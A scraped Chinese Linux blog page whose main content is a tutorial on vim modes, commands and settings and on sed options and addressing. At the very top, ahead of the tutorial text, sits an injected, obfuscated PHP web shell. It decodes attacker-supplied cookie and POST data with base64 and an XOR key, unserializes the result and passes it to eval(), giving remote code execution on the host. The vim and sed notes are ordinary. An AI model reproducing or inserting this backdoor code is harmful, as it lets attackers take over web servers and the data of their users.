$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} grep,sed命令 | Linux运维部落

grep,sed命令

     文本编辑种类:
     行编辑器:sed
     全屏编辑器 :nano,vi
     
     vim :vi Mproved
     模式化的编辑器:
          编辑模式,也叫命令模式
          输入模式,插入模式
          末行模式:
                      内置行的命令行接口;
                     
    文件打开:如果打开文件时没有,vim会自动创建文件。
    vim 文件名     vim [options] [file ..]
    打开文件后,最下一行信息为:
    文件名字         总行数 总字符数        光标所在行 ,第几个字符     内容百分比
    "functions"    787L, 18586C                           47,7                           2%

    两个大写:ZZ 保存并关闭
    vim  +#   文件:打开文件后,直接让关闭处于低#行的行首    
    vim  +/pattern 文件  :打开文件后,直接让光标处于第一个pattern匹配到的行的行首。
    vim  + 文件  :直接将光标定位到行尾第一个字符
   
   
   
    模式转换:
          编辑模式:默认模式
              编辑模式–>输入模式
              i   :在光标所在处输入
              I    :  在光标所在行首输入
              a   : 在光标所在处后方输入
              A :在光标所在行末尾输入
              o  :光标所在处下方打开一个新行
              O :光标所在处上方打开一个新行
   
              输入模式–>编辑模式
              按ESC键
             
              编辑模式–>末行模式
              输入:
     
               
              末行模式–>编辑模式
              按2次ESC键
   
               关闭文件
                在编辑模式下输入:  ZZ  表示保存并退出:
                :q  退出    
                :q!  强制退出,不保存此前的编辑操作
                :wq  保存并退出
                :x     保存并退出
                :w   /位置/文件名    将文件保存在某位置,并命名
               
                光标跳转:
                字符间跳转
                h  光标向左跳转一个字符
                l   光标向右跳转一个字符
                j   光标向下跳转1行
                k  光标向上跳转1行
                #h  光标向前跳#个字符
                #l   光标向后跳#个字符
                #j  光标向下跳#个行
                #k  光标向上跳#个行
               
                单词间跳转
                w : 下一单词的词首
                b:当前或前一个单词的词首
                e:当前或后一个单词的词尾
                #w  向后跳#个单词,词首
                #b  向前跳#个单词,词首
                #e  向后跳#个单词,次尾
               
                行首跳转
                ^  :  跳转至行首的第一个非空白字符
                0   :跳转至行首,绝对第1一个字符位置
                $   :跳转至行尾
               
               
                行间跳转
                G     跳到行尾,第一个字符
                #G   跳转到#数行首         1G  跳转到文件第一个行第一个字符
               
               
               
                句间跳转
                )   跳转至下一句
               
                (      跳转至上一句
               
               
                段间跳转
                }      跳转至下一段
                {      跳转至上一段
               
               
               
                翻屏操作
                ctrl + f   向文件尾部翻一屏
                ctrl  +b  向文件首部翻一屏
                ctrl  +d  向文件尾部翻半屏
                ctrl  +u 向文件首部翻半屏
                回车键   向文件尾部翻一行
               
                vim编辑命令
                字符编辑
                x  删除光标所在处字符
                #x  删除光标所在处起始后#个字符
                xp  将光标所在位置处字符前后互换
               
                替换命令replace
                 r 字符(任何字符)     :替换光标所在处的字符
                                     
                删除命令
                d   删除命令,可结合光标跳转字符,实现范围删除
                     d$    删除光标所在处至行尾的内容
                     d^   删除光标所在处至行首的内容
                #dw  向后删除#个单词,词首
                #db  向前删除#个单词,词首
                #de  向后删除#个单词,次尾
                      dd  删除光标所在行     删除一次后,向继续删下面内容,可以用.号继续删
                      #dd 删除光标所处的行起始的共n行     删除内容保存在缓冲区,可以粘贴
                :1,10  d 加回车键       删除1,10行
               
                粘贴命令
                    p  :缓冲区的内容如果为整行,则粘贴在当前光标所在行的下方,否则,粘贴至当前光标所在处后方:
                    P 大  :缓冲区的内容如果为整行,则粘贴在当前光标所在行的上方,否则,粘贴至当前光标所在处前方
                                   
                 复制命令yank    
                    y:  复制,工作行为相似于d命令
                    y$    复制光标至行尾内容
                    y^    复制光标至行首内容
                    y0     复制光标至行首内容
                   
                    ye
                    yw
                    yb
                   
                    yy  复制以整行
                        #yy   复制#号行       ,内容在缓存区,可以通过p进行粘贴    
                       
               
            改变命令(change   c)        
                 编辑模式—>输入模式,实现删除操作
                 c$   删除光标至行尾
                 c^  删除光标至行首
                 c0  删除光标至行首
                 
                 cb  删除光标后一个单词,并开启词首插入模式
                 cw  删除光标前一个单词,并开启词首插入模式
                 ce   删除光标后一个单词,并开启词尾插入模式
                  #command
                 
                 cc 删除光标行,并开启行首插入模式
             
           可视化模式:
             v    按字符选定
             V    按行选定
             结合编辑命令:d,c,y
             
             
             
             撤销操作 undo
              u        撤销此前操作
              #u      撤销#次操作
 
              撤销此前的撤销
              ctrl r    重复执行前一个编辑操作
             
              vim自带的练习教程:
              [root@localhost testdir]# vimtutor

             
            vim末行模式:内键的命令行接口

 
 
   vim末行模式:
内键的命令接口:
 (1)地址定界
       startpost,endpost  起始位置,末尾位置
           .    表示当前行
           m: 特定的第m行
           $  :  最后一行             .,$-1  从当前行到倒数第二行
           %    全文
           m,n  指定m-n行
           m,+n   起始行m处,在加n行,右侧为相对左侧行号的偏移量:
           例如:3,7   :从3第三行处开始数7行,也就是3-8行
           
           /pattern/   从光标所在处起始向维基尾部第一模式所匹配到的行        
                  /first/,$ d   从光标所在处起始向维基尾部第一模式所匹配到的行    
                 
           /pattern1/,/pattern2/    从光标所在处起始,第一次由pat1匹配到的行开始,至第一次由pat2匹配到的行结束间的行
           
           可以编辑命令一同使用,实现编辑操作
            d
            y
            c
            w /path/to/somewhere  :将范围内的文本保存至指定位置。
            #r  /path/to/somewhere 将指定的文件中的文本读取并插入至指定位置
           
        查找:
        /pattern 从当前光标所在处向文件尾部查找能被匹配到的所有字符
        ?pattern 从光标所在处向文件首部查找能够被当前模式匹配到的所有字符串
        n :下一个,与命令方向相同
        N :  上一个,与命令方向相反
       
       
        (3)查找并替换
         s:末行模式命令:
         s/要查找的内容/替换为的内容/修饰符
              要查找的内容:可以使用正则表达式
              替换为的内容:不能使用正则表达式,但是可以引用:\1
                               如果'要查找的内容",部分在模式中使用分组符号,在‘替换为的内容’中使用后向引用
                               直接引用查找匹配到的文本
            修饰符:
            I:忽略大小写      1,40   s/this/THIS/Ig  
            g:全局替换,意味着一行中如果匹配到多次,则都替换:
            \ :转义字符
            将文件中/cgroup/systemd/替换成/etc/sysconfig/
            %s/\/cgroup\/systemd/\/etc\/sysconig/g
            可将分隔符替换成其他非常用字符
            s@@@         %s@\<t\([[:alpha:]]\+\)\>@T\1@g     将文本中所有t开头的词,全部替换为T开头的词
            s###              %s#\<t[[:alpha:]]\+\>#&er#g      将文本中所有t开头的词,词后都加上er,重点:&替换单词

           
            练习:    
            1.复制/etc/grb2.cg文件至/tmp目录中,用查找替换命令删除/tmp/grub1.cfg文件中以空白字符开头的行的行首空白字符
               %s@^[[:space:]]\+@@   答案不符合:
             2.复制/etc/rc.d/init.d/functions文件至/tmp目录中,用查找替换命令为/tmp/functions文件的每个以空白字符
    开头的行首加上#号
                %s@^$@#    或者 %s/^$/#        %s@^[[:space:]]\+@#

             3.为/tmp/grub2.cfg文件的前三行加#号
                   1,3 s/^/#
             4.将/etc/yumrepos.d/CentOs-Base.repo文件中所有的enabled=0替换为enabled=1
                   % s/enabled=0/enabled=1/g
       
     
     
       
        vim的多文件模式:
        vim  file1 file2 file3
        :next    进行至下一个文件
        :prev  上一个文件
        :first     切换至第一个
        :last      切换至最后一个文件
        并且可以跨文件复制
       
        退出所有文件:wq保存所有文件,并退出
        退出单个文件用q
       
        多窗口:         vim
        -o:水平分割窗口
        -O :  垂直分割窗口
        ctrl+w  后,用上下做右,回落至hjkl键可以进行,窗口切换  
        ctrl +w +s,可对文件进行水平二次分割
        ctrl +w +v,可对文件进行垂直二次分割
        q键退出一个窗口
        qall退出所有
        wqall保存,并退出所有文件
        注意单个文件也可以分割为多个窗口进行查看
       
        定制vim的工作特性
        永远有效:
             全局:/etc/vimrc
             用户个人:~/.vimrc          不一定存在,需要用户自己创建  
             个人vimrc设置:
              vim  .vimrc , 在.vimrc里写入set nu,即完成设置行号设置。
         
         1.行号
             显示行号:set number ,简写为set nu
             不显示行号:set nonumber,简写文 set nonu
         注意:在末行模式设置只对当前有效
         
         2.括号匹配高亮显示
            匹配 :set showmatch ,set sm        设置高亮
            取消 :set noshowmatch,set nsm  取消高亮
         
         3.自动缩进功能
            set ai        设置缩进
            set noai   取消设置缩进
           
          4.搜索高亮
            set  hlsearch      :设置高亮搜索
            set nohlsearch  :设置取消高亮搜索
         
          5.语法高亮
            syntax on 开启语法
            syntax off 关闭
           
          6.忽略字符大小写
            set lc  启用忽略
            set nolc 取消大小写
           
           
         vim内容内
          :help set  能查看用户帮助  
              help  subject           :q!   退出

 
 
   sed命令
file://C:\Users\tom\AppData\Local\Temp\ct_tmp/1.png
sed  options  file
-n 不输出模式空间的内容至终端
-e 可以指定多个命令的编辑
-r  支持使用扩展正则表达式
-i  直接编辑元文件 ,有危险可以用 -i.bak(sed -i.bak "/^#//"  /etc/fstab )命令先保存一份文件在编辑。

地址定界:
(1)空地址:不给地址,对全文进行处理
(2)单地址:
    #:指定第#行
    /pattern/:被没收所匹配到的每一行
(3)地址范围:
 m,n : m行至n行
 m,m+5   :m行至m+5行
 m,/part1/  :从m行到模式匹配到的第一行
 /part1/,/part2/  重模式匹配到的第一行至模式匹配到的第二行
 
 (4)步进:
    1~2:基数行
    2~2:偶数行
   
   
sed选项
-d :删除模式空间中的内容  : sed "/^$/d" /etc/fstab
-p :打印匹配到的行               sed "3p" /etc/fstab
-a  \文本:在匹配行后下一行,追加文本,支持使用\n实现多行追加  "3a \xiong\nxiong\n" fstab
-i   \文本:在匹配的前一行,行首追加文本,支持使用\n实现多行追加.
-c  \文本:  将匹配的行替换成其他信息。sed "2c \xiong" fstab拍
-w 位置+文件 :将匹配的内容保存至某个文本:    sed "/^U/w  /root/sedResult" fstab
-r   文件 :  将文本内容读入匹配行后      sed '3r /etc/issue' fstab
=:匹配的行前加行号:   sed "/^UUID/=" /etc/fstab
!  :匹配的到模式取反,放在命令之前        sed '/^#/!d' fstab

rev命令 将内容反向显示    echo "/etc/rc.d/init.d/functions" | rev

s///查找替换,其分隔符可以咨询指定,常用的有s@@@,s###等   ,一定要写全///这个符号

   替换标记:
             g:全局替换
             w /path/to/somefile:将替换成功的结果保存至指定文件中
             p:显示替换成功的行
             & :代表替换原文内容    sed -i “s/root/&man/g” /etc/passwd    

高级编辑命令:
        h:将模式空间中内容覆盖至保存空间中内容  
        H:将模式空间中的内容追加至保存空间内容
        g:将保存空间中内容覆盖至模式空间中内容
        G:将保存中间中内容追加至模式空间中内容
        x:将模式空间中内容与保存空间中内容互换
        n:读取匹配的下一行覆盖至模式空间中
        N:读取匹配的下一行追加至模式空间中
        d:删除模式空间中的行
        D:删除多行模式空间的所有行
        ;  命令行间用;隔开

原创文章,作者:maoxiong,如若转载,请注明出处:http://www.178linux.com/32340

(0)
上一篇 2016-08-12 09:02
下一篇 2016-08-12 09:02

相关推荐

  • 记录Linux入门3天,每天的点点滴滴记录

        Linux 文件系统的特性:      1、文件名严格区分字符大小写      2、文件名可以使用除了 /  意外任意的字符,但不建议使用特殊字符      3、文件名长度不能超过255个字符     &nbsp…

    Linux干货 2017-05-21
  • bash之脚本入门及课后作业

    概述: shell是一个工具程序,在用户登录后后系统启动,它解释并运行由命令或脚本文件输入的命令,从而实现用户与内核之间的交互。bash是Linux操作系统上默认的shell,在交互和编程两方面,bash提供了许多Bourne shell没有的功能,并且还结合了C shell和Kron shell最有用的功能。 bash的语法和结构   …

    Linux干货 2016-08-15
  • shell脚本编程__bash的配置

    shell脚本编程__bash的配置   一、bash的配置文件:   按生效范围划分,存在两类:     全局配置: /etc/profile /etc/profile.d/*.sh /etc/bashrc    个人配置: ~/.bash_profile ~/.bashrc 二、she…

    Linux干货 2016-08-26
  • 小练习题。【第三周】

    练习 1、列出当前系统上所有已经登陆的用户的用户名,注意:同一个用户登录多次,则只显示一次即可。 ~]# who | cut -d' ' -f1 |uniq 2、取出最后登录到当前系统的用户的相关信息。 /]# who | sort&nbs…

    Linux干货 2016-11-26
  • Shell 编 程 之 until循 环 语 句-20160817

    Shell 编 程 之 until循 环 语 句 §·练习题: 1 每隔3秒钟到系统上获取已经登录的用户的信息;如果发现用户hacker登录,则将登录时间和主机记录于日志/var/log/login.log中,并提示该用户退出系统? 解:解题思路:按照题意该脚本一直无限循环,一直探测用户h…

    Linux干货 2016-08-22
  • 用户 组

    用户 组    在linux系统中,用户管理是基于用户名和密码的方式进行资源的分配,linux上用户Username/UID分为以下类别:    管理员: root,0    普通用户: 1-65535 普通用户分为:系统用户和登录用户两种 系统用户:1-499(cen…

    系统运维 2016-08-04

评论列表(1条)

  • 马哥教育
    马哥教育 2016-08-12 09:36

    文章都是一些理论的东西建议加上自己的实际操作,理论加上实践,让自己的文章更加丰满起来哦。